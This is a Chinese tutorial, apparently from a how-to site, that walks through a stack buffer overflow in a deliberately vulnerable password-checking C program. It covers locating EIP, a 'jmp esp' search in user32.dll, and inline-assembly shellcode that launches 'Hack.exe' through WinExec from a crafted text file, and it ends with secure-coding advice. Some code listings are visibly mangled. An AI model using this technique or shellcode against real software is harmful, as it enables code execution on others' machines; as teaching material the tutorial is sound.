怎樣利用簡單程序漏洞反病毒

　　電腦已經(jīng)走進(jìn)我們的生活，與我們的生活息息相關(guān)，感覺已經(jīng)離不開電腦與網(wǎng)絡(luò)，對于電腦病毒，今天小編在這里給大家推薦一些預(yù)防電腦病毒相關(guān)文章，歡迎大家圍觀參考，想了解更多，請繼續(xù)關(guān)注學(xué)習(xí)啦。

　　一、前言

　　大都數(shù)“病毒”都是可執(zhí)行文件(EXE格式)，都是傳統(tǒng)意義上的惡意程序，它們在被用戶雙擊運(yùn)行后，就開始執(zhí)行自身代碼，實(shí)現(xiàn)相應(yīng)的功能，從而對用戶的計(jì)算機(jī)產(chǎn)生威脅。而這次我打算討論一種特殊的情況，也就是利用正常程序所存在的漏洞，僅僅通過文本文檔(TXT格式)，來實(shí)現(xiàn)我們的對話框的啟動(dòng)。所以這篇文章的討論重點(diǎn)就在于簡單的漏洞發(fā)掘以及運(yùn)用ShellCode實(shí)現(xiàn)漏洞的利用。在此不會(huì)討論復(fù)雜的情況，僅僅用淺顯的例子來說明這些問題，因?yàn)榧幢闶乾F(xiàn)實(shí)中的復(fù)雜情況，其基本原理是相似的。這也是為以后的篇章中討論更加復(fù)雜的情況打下基礎(chǔ)。

　　二、編寫含有漏洞的程序

　　在現(xiàn)今的軟件開發(fā)中，盡管程序員的水平在提高，編程技巧在不斷進(jìn)步，但是大部分人對于計(jì)算機(jī)安全的概念還是比較模糊的，真正掌握計(jì)算機(jī)安全技術(shù)的人畢竟還是少數(shù)。特別是計(jì)算機(jī)安全往往還涉及到系統(tǒng)底層原理、匯編甚至是機(jī)器碼，這就更加令人望而卻步。我在這里討論的就是一個(gè)含有漏洞的程序，它含有緩沖區(qū)溢出漏洞。緩沖區(qū)溢出攻擊是一種非常有效而常見的攻擊方法，在被發(fā)現(xiàn)的眾多漏洞中，它占了大部分。

　　以下就是本次所研究的程序：

　　#include #include

　　#include #define PASSWORD "1234567890"

　　int CheckPassword(char *pPassword)

　　{ int nCheckFlag;

　　char szBuffer[30]; nCheckFlag = strcmp(pPassword, PASSWORD);

　　strcpy(szBuffer, pPassword); //存在溢出漏洞 return nCheckFlag;

　　}

　　int main() {

　　int nFlag = 0; char szPassword[1024];

　　FILE *fp; LoadLibrary("user32.dll");

　　if(!(fp=fopen("password.txt", "rw+"))) {

　　return 0; }

　　fscanf(fp,"%s",szPassword); nFlag=CheckPassword(szPassword);

　　if(nFlag) {

　　printf("Incorrect password!\n"); }

　　else {

　　printf("Correct password!\n"); }

　　fclose(fp); getchar();

　　return 0; }

　　這里來講解一下程序的運(yùn)行流程。main函數(shù)中首先會(huì)打開當(dāng)前目錄下的password.txt文件，然后調(diào)用CheckPassword函數(shù)，該函數(shù)會(huì)對從password.txt文件讀取出來的內(nèi)容與字符串“1234567890”進(jìn)行比較，用于驗(yàn)證密碼是否正確，之后將用戶所輸入的密碼拷貝到子函數(shù)自己創(chuàng)建的數(shù)組中，再返回到主函數(shù)，最后對用戶所輸入的密碼是否正確進(jìn)行顯示。

　　這個(gè)程序中之所以要用TXT文件來保存用戶輸入的密碼，就是為了方便之后的討論與觀察。而在子函數(shù)中將用戶輸入的密碼拷貝到一個(gè)數(shù)組中，僅僅是為了創(chuàng)造一個(gè)緩沖區(qū)溢出的漏洞，也是為了方便之后的討論。在現(xiàn)實(shí)中，可能難以出現(xiàn)這樣的情況。但是原理是一樣的，緩沖區(qū)溢出漏洞出現(xiàn)的原因就是因?yàn)闆]能檢測待拷貝數(shù)據(jù)的大小，而直接將該數(shù)據(jù)復(fù)制到另一個(gè)緩沖區(qū)中，從而使得惡意程序得到了攻擊的機(jī)會(huì)。

　　三、漏洞原理的分析

　　不論是對于本篇文章所討論的最簡單的緩沖區(qū)溢出的漏洞，還是復(fù)雜的，可能會(huì)在未來的文章中討論的堆溢出以及SEH的利用，其核心可以說都是利用了指針(或者說是相應(yīng)的地址)來做文章。對于這次的程序來說，首先需要從反匯編的角度簡單講一下程序的執(zhí)行原理。

　　主函數(shù)中會(huì)調(diào)用CheckPassword函數(shù)，那么在反匯編中，就需要找到調(diào)用該函數(shù)的位置，這個(gè)很簡單：

　　004010F3 E8 0DFFFFFF call 00401005

　　之所以能很快確定函數(shù)的位置，是因?yàn)樗谠闯绦蛑芯驮趂scanf函數(shù)的后面，那么反匯編中，他的位置也在fscanf的后面。這里有必要簡單說一下call的實(shí)現(xiàn)原理。它分為兩步，第一步是向棧中壓入當(dāng)前指令在內(nèi)存中的位置，即保存返回地址(EIP所保存的地址，也就是call的下一條指令，EIP入棧);第二步是跳轉(zhuǎn)到所調(diào)用函數(shù)的入口處。進(jìn)入這個(gè)call，來到以下反匯編代碼處：

　　00401020 55 push ebp 00401021 8BEC mov ebp,esp

　　00401023 83EC 64 sub esp,64

　　可以說每一個(gè)函數(shù)的開始，其反匯編結(jié)果都是這么幾句。主要是三步：第一步需要保存當(dāng)前棧幀狀態(tài)值，以備后面恢復(fù)本棧幀時(shí)使用(EBP入棧);第二步將當(dāng)前棧幀切換到新棧(將ESP值裝入EBP，更新棧幀底部);第三步給新棧幀分配空間(把ESP減去所需空間的大小，抬高棧幀)。

　　這里需要說明的是，以上所分析的是程序的Debug版，如果是Release版，由于做了優(yōu)化，可能會(huì)有些不同，但也是遵循基本原理，在這里就不再對Release版進(jìn)行討論。

　　現(xiàn)在來看看堆棧中的情況，按照內(nèi)存地址遞減的順序，EBP相比EIP位于內(nèi)存的低地址處，這兩個(gè)寄存器在棧中是挨著的。再來看看CheckPassword函數(shù)結(jié)尾處的反匯編代碼：

　　0040106C 8BE5 mov esp,ebp 0040106E 5D pop ebp

　　0040106F C3 retn

　　可見這里首先將esp指向了當(dāng)前棧幀的棧底，之后從棧中彈出原始ebp的值，這樣就實(shí)現(xiàn)了恢復(fù)棧幀的操作。之后的retn語句，就是再次彈出棧頂?shù)闹?EIP)，并轉(zhuǎn)去執(zhí)行EIP所指向的語句，也就是之前的call的下一條語句。

　　分析至此，就可以發(fā)現(xiàn)，我們可以通過修改EIP所保存的值(指令地址)，來實(shí)現(xiàn)跳轉(zhuǎn)到我們自己的“病毒代碼”地址處的目的。當(dāng)然這里我不會(huì)利用反匯編工具進(jìn)行修改，而是直接運(yùn)用password.txt這個(gè)文本文檔來實(shí)現(xiàn)。

　　四、定位EIP

　　知道了漏洞利用的原理，那么接下來就需要確定EIP的位置。EIP的位置盡管可以通過反匯編工具獲得，但是在此我不想用這種簡單的方法，而是運(yùn)用Windows的報(bào)錯(cuò)對話框?qū)崿F(xiàn)EIP的定位。當(dāng)EIP被覆蓋為一個(gè)無效地址后，系統(tǒng)就會(huì)提示出錯(cuò)，報(bào)錯(cuò)對話框就能夠顯示出來究竟是哪個(gè)地址(EIP)出錯(cuò)，這里可以通過一些小技巧來定位。

　　當(dāng)然，每個(gè)人往往有自己認(rèn)為最好的定位方法，我個(gè)人比較喜歡的方法是運(yùn)用26個(gè)小寫字母連同26個(gè)大寫字母組成一長串?dāng)?shù)據(jù)進(jìn)行測試，這樣一次性就能夠測試52個(gè)字節(jié)的長度。具體方法是將這52個(gè)字母寫入password.txt文件，運(yùn)行程序查看是否報(bào)錯(cuò)，如果不報(bào)錯(cuò)，就再寫入52個(gè)字母，直至報(bào)錯(cuò)為止。幸運(yùn)的是，在這個(gè)程序中，前52個(gè)字母就使得報(bào)錯(cuò)對話框彈出了：

　　從報(bào)錯(cuò)對話框中可以得知，EIP已經(jīng)被覆蓋為0x5251504f，通過查詢ASCII碼表可以得知，對應(yīng)的四個(gè)字母是OPQR(小端顯示，我這里反過來寫了)，于是可知，EIP的位置就是password.txt文檔內(nèi)容的第41至第44個(gè)字節(jié)處。

　　確定了EIP的位置，那么接下來就要確定應(yīng)當(dāng)給它賦以什么地址。這里當(dāng)然可以利用反匯編軟件在程序中尋找空余的位置，將代碼寫入，然后令EIP指向該代碼處。但是這里我打算用更加巧妙的方法——jmp esp。我們可以將EIP指向內(nèi)存中jmp esp的地址，然后將我們的程序的機(jī)器碼(ShellCode)順序從EIP處向下(地址高處)覆蓋，這樣jmp esp就能夠直接跳到我們的代碼處執(zhí)行了。

　　首先編程序?qū)ふ襧mp esp：

　　#include #include

　　#include #define DLL_NAME "user32.dll"

　　int main()

　　{ BYTE *ptr;

　　int position,address; HINSTANCE handle;

　　BOOL done_flag = FALSE; handle = LoadLibrary(DLL_NAME);

　　if(!handle) {

　　printf("load dll error!"); exit(0);

　　} ptr = (BYTE*)handle;

　　for(position = 0; !done_flag; position++)

　　{ try

　　{ if(ptr[position]==0xFF && ptr[position+1]==0xE4)

　　{ int address = (int)ptr + position;

　　printf("OPCODE found at 0x%x\n", address); }

　　} catch(...)

　　{ int address = (int)ptr + position;

　　printf("END OF 0x%x\n", address); done_flag = true;

　　} }

　　return 0; }

　　程序執(zhí)行結(jié)果如下：

　　上述程序中是在user32.dll中尋找jmp esp的機(jī)器碼FFE4，會(huì)查找到很多的結(jié)果，選擇其中的一個(gè)就可以。這里需要特別說明的是，不同的計(jì)算機(jī)不同的操作系統(tǒng)版本，所找到的jmp esp的地址可能會(huì)不一樣，就是說jmp esp的地址往往并不是通用的。當(dāng)然，也會(huì)有幾個(gè)地址是跨版本的，這個(gè)在這里不討論。這次我們選擇截圖中的第一個(gè)地址——0x77d93ac8。由于是小端顯示，所以應(yīng)當(dāng)在“OPQR”的位置反向書寫，即c83ad977。當(dāng)然這里不能夠直接用類似于記事本這樣的軟件進(jìn)行編輯，而是需要用十六進(jìn)制代碼編輯器操作。

　　五、編寫ShellCode

　　為了簡單起見，我這里將“病毒”程序與上述漏洞程序放在同一目錄下，并且為了編寫方便，我這里將“病毒”名稱更改為Hack.exe。為了實(shí)現(xiàn)“病毒”的啟動(dòng)，我不打算直接將“病毒”程序轉(zhuǎn)化為ShellCode，畢竟那樣的話工作量太大，而是編寫一個(gè)能夠啟動(dòng)“病毒”程序的ShellCode。這里我使用WinExec函數(shù)用于“病毒”的啟動(dòng)，最后再用ExitProcess函數(shù)實(shí)現(xiàn)程序的正常退出。查詢這兩個(gè)函數(shù)句柄的代碼如下：

　　#include #include

　　typedef void (*MYPROC)(LPTSTR); int main()

　　{ HINSTANCE LibHandle;

　　MYPROC ProcAdd; LibHandle = LoadLibrary("kernel32");

　　//獲取user32.dll的地址 printf("msvcrt LibHandle = //x%x\n", LibHandle);

　　//獲取MessageBoxA的地址 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"WinExec");

　　printf("system = //x%x\n", ProcAdd);

　　return 0; }

　　運(yùn)行結(jié)果如下：

　　上述程序首先需要知道被查詢函數(shù)所在的動(dòng)態(tài)鏈接庫，先查出動(dòng)態(tài)鏈接庫的地址，之后利用這個(gè)地址，從而查詢相應(yīng)API函數(shù)的句柄?？梢灾繵inExec的句柄為0x7c863231，那么同理，ExitProcess函數(shù)的句柄為0x7c81bfa2。

　　至此，我們已經(jīng)獲得了足夠的信息，接下來就可以進(jìn)行ShellCode的編寫了，但是一般來說，我們不會(huì)特意去記憶十六進(jìn)制的機(jī)器碼，因此都是先寫出匯編程序，然后利用相應(yīng)的軟件通過轉(zhuǎn)換，從而查看其機(jī)器碼。具體的方法有很多，我還是比較傾向于在VC++6.0中以內(nèi)嵌匯編語言的形式進(jìn)行編寫：

　　_asm {

　　xor ebx,ebx push ebx

　　push 0x6578652e push 0x6b636148

　　mov eax,esp ;壓入字符Hack.exe

　　push ebx push eax

　　mov eax,0x7c863231 call eax ;調(diào)用WinExec函數(shù)

　　push ebx

　　mov eax,0x7c81bfa2 call eax ;調(diào)用ExitProcess函數(shù)

　　}

　　這里需要把a(bǔ)sm中的內(nèi)容轉(zhuǎn)化為機(jī)器碼，VC++6.0就可以實(shí)現(xiàn)(也可以使用其它反匯編軟件)。利用十六進(jìn)制文件編輯器，將提取出來的機(jī)器碼直接填寫進(jìn)password.txt中EIP的后面。

　　這里要說明的是，盡管以上僅僅是調(diào)用了非常簡單的函數(shù)，但是實(shí)際上，不管是什么函數(shù)，其調(diào)用原理和上面是一樣的，都是首先需要把參數(shù)從右至左入棧，然后call該函數(shù)所在的地址。為了增強(qiáng)可移植性，可以利用TEB獲取相關(guān)函數(shù)的句柄，從而編寫出通用性極高的ShellCode出來(這些高級(jí)方法可能會(huì)在以后的文章中討論)。由此可見，漏洞可以很容易被惡意程序所利用。

　　當(dāng)編輯完password.txt后，運(yùn)行CheckPassword.exe程序，結(jié)果如下圖所示：

　　由此可見，僅僅是通過修改password.txt就能夠在神不知鬼不覺的情況下實(shí)現(xiàn)病毒的啟動(dòng)(盡管這一過程有諸多限制)。而這里所用到的WinExec函數(shù)也多用于“下載者”中，它是一種功能單一的惡意程序，能夠令受害的計(jì)算機(jī)到黑客指定的URL地址去下載更多的惡意程序并運(yùn)行。“下載者”體積小，易于傳播，當(dāng)它下載到病毒木馬后，通常就使用諸如WinExec這樣的函數(shù)來運(yùn)行病毒。

　　六、“病毒”的防范

　　漏洞的發(fā)掘與利用是一個(gè)較為高深的話題，在現(xiàn)實(shí)中，其發(fā)掘的難度是遠(yuǎn)遠(yuǎn)高于我在這里所舉的例子的。高明的黑客手中往往掌握著一些不被軟件生產(chǎn)廠家所知道的漏洞，他們利用這些軟件漏洞，往往就能夠?yàn)樗麨?。所以，這就要求我們培養(yǎng)良好的安全編碼習(xí)慣。在上述例子中，漏洞的出現(xiàn)就是因?yàn)槭褂昧藄trcpy函數(shù)，更具體來說，因?yàn)槲覀儧]有對將要復(fù)制到緩沖區(qū)中的數(shù)據(jù)進(jìn)行長度檢驗(yàn)，導(dǎo)致了EIP被非法覆蓋，跳去了不應(yīng)該去的位置，執(zhí)行了不該執(zhí)行的代碼?，F(xiàn)實(shí)中的漏洞往往也是這個(gè)道理。所以在這種情況下，應(yīng)當(dāng)事先檢驗(yàn)數(shù)據(jù)的長度，至少將strcpy替換成strncpy，盡管后者也存在危險(xiǎn)，但至少會(huì)按照編程者要求的數(shù)據(jù)量的大小來拷貝數(shù)據(jù)，這就安全多了。當(dāng)然我們系統(tǒng)版本的不斷升級(jí)，在安全性方面也會(huì)不斷進(jìn)步。比如加入的Security Cookie就能夠較好地對緩沖區(qū)溢出的問題進(jìn)行防范。不過這也不是絕對安全的，畢竟在攻與防的對立統(tǒng)一中，技術(shù)是不斷進(jìn)步的。但是歸根結(jié)底，只有在源頭上做足功夫，才會(huì)讓黑客們無從下手。

　　七、小結(jié)

　　本篇文章構(gòu)造了一個(gè)特殊的環(huán)境——存在漏洞的程序——實(shí)現(xiàn)了“病毒”的自啟動(dòng)。由于關(guān)于漏洞的知識(shí)體系比較龐大且較為高深，我也只能用這個(gè)簡單的程序來讓大家看看冰山的一角。這里需要再次說明的是，現(xiàn)實(shí)中漏洞的原理和利用方法可以說和這個(gè)例子是差不多的?，F(xiàn)實(shí)中可能需要我們編寫出更為通用的ShellCode來實(shí)現(xiàn)我們想要完成的功能，這些會(huì)在以后的文章中進(jìn)行討論。本篇文章僅僅是為了打好基礎(chǔ)，為未來更加高深的知識(shí)的探討做好準(zhǔn)備。